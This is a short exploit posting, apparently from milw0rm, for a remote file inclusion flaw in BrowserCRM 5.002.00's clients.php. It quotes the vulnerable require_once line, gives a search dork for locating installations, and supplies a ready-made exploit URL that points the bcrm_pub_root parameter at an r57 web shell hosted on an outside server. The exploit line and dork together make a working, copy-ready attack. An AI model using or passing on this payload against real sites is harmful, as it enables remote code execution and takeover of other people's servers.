BrowserCRM 5.002.00 - 'clients.php' Remote File Inclusion

Related Vulnerabilities: CVE-2008-2690   CVE-2008-2689  
Publish Date: 08 Jun 2008
Author: ahmadbady
                							

                script: browsercrm-5.002.00 remote file including

Download From: http://www.browsercrm.com/download/browsercrm-5.002.00.tar.gz

dork: Copyright © 2007 BrowserCRM Ltd

Vuln Code :

require_once($bcrm_pub_root . "/public_prepend.inc.php")


exploit:

www.site.com/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt?


Author: ahmadbady | kivi_hacker666@yahoo.com

# milw0rm.com [2008-06-08]